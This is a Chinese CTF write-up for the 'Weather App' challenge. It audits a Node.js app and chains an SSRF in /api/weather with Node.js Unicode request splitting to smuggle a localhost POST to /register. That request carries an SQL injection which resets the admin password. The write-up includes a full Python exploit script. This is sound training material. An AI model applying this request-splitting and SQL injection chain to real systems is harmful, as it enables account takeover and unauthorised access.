Weather App靶场
参考文章:
1.代码审计
开启环境后发现提供题目源码的下载,解压后分析代码。部分关键代码粘贴如下。
通过分析源码发现是一个Node.js程序,分析routes/index.js文件,大概发现有四个路由地址,其中两个区分get、post请求
router.get('/', (req, res) => {}
router.get('/register', (req, res) => {}
router.post('/register', (req, res) => {}
router.get('/login', (req, res) => {}
router.post('/login', (req, res) => {}
router.post('/api/weather', (req, res) => {}
1./login
分析路由代码后发现拿到flag的条件是使用admin用户成功登录后台
router.post('/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}
return re.send(response('Missing parameters'));
});
通过分析database.js发现数据库为sqlite数据库,且发现数据表结构,发现主键为id,username有unique属性。
const sqlite = require('sqlite-async');
const crypto = require('crypto');
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);
INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
`);
}
这里了解到在login路由中,提交执行的sql语句是经过预编译处理的,无法完成注入。
2./register
分析完login路由后分析register路由,
router.post('/register', (req, res) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}
let { username, password } = req.body;
if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}
return res.send(response('Missing parameters'));
});
这里可以看到,register路由对来源地址做了限制,发起请求的地址必须是127.0.0.1,而且通过socket.remoteAddress获取请求地址,无法通过添加xff等http请求头绕过。
在向下分析,可以看到该路由将传入的username和password参数带入数据库处理
async register(user, pass) {
// Todo: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
resolve((await this.db.run(query)));
} catch(e) {
reject(e);
}
});
}
这里我们发现执行的sql语句没有做预编译,也没有做过滤,所以这里可以通过sql注入获取密码,或者直接修改密码。(新建一个admin用户是行不通的)
3./api/weather
这个路由会对一个URL地址发起一个get请求,URL地址和部分get参数可控。
let { endpoint, city, country } = req.body;
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);
/api/weather分析到这里就没有思路了
2.node.js请求分割
思路卡住后去翻了大佬的WP,发现/api/weather其实存在一个ssrf,但是需要结合node.js的请求分割漏洞。
node.js请求分割漏洞参考:
简单理解就是因为js发起请求时,对于没有请求体的请求方式(get、delete)默认会使用一个单字节的编码去解析请求的路径。而js在发起请求前对请求路径的处理则是使用多字节解析的unicode编码,这就导致在发起请求时单字节编码会将恶意设计好的unicode编码字符解析为控制字符,导致请求分割漏洞。
3.思路整理
得到内网ssrf的方法后整理思路如下:
- 向/api/weather发送特定数据包,触发ssrf漏洞
- ssrf漏洞触发后将会向/register发送sql注入代码
- sql注入代码执行后将admin用户的密码修改
- 通过/login路由登录拿到flag
4.exp
import requests
import urllib.parse
url = "http://157.245.45.1:30165"
username = "admin"
password = "admin') ON CONFLICT(username) DO UPDATE SET password='123456';--"
username = urllib.parse.quote(username)
password = urllib.parse.quote(password)
contentLen = len(f"username={username}&password={password}")
endpoint = \
f"""127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {contentLen}
username={username}&password={password}
GET /?mmp="""
city = "abandon"
country = "abandon"
endpoint = endpoint.replace(" ", "\u0120").replace("\n", f"\u0D0A")
data = {}
data.update({"endpoint": endpoint})
data.update({"city": city})
data.update({"country": country})
print(data)
response = requests.post(url=url+"/api/weather", data=data)
print(response.status_code)
"""
data从python给到weather
这里不需要编码 python发送的数据包已经编码好了
weather接收到参数后提取参数,组成目标url
http://${endpoint}/data/2.5/weather?q=${city},${country}&
weather将向外发送数据
在发送数据时,endpoint部分不会url编码,而是被js解析,将其中所有的unicode字符转换为控制字符
之后register接收到username和password后先url解码,再带入数据库查询
所以复现过程应该是
username和password先url编码一次
放入endpoint中,将endpoing中的Content-length字段值计算好填入
之后将endpoint部分的控制字符替换为unicode编码
"""
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。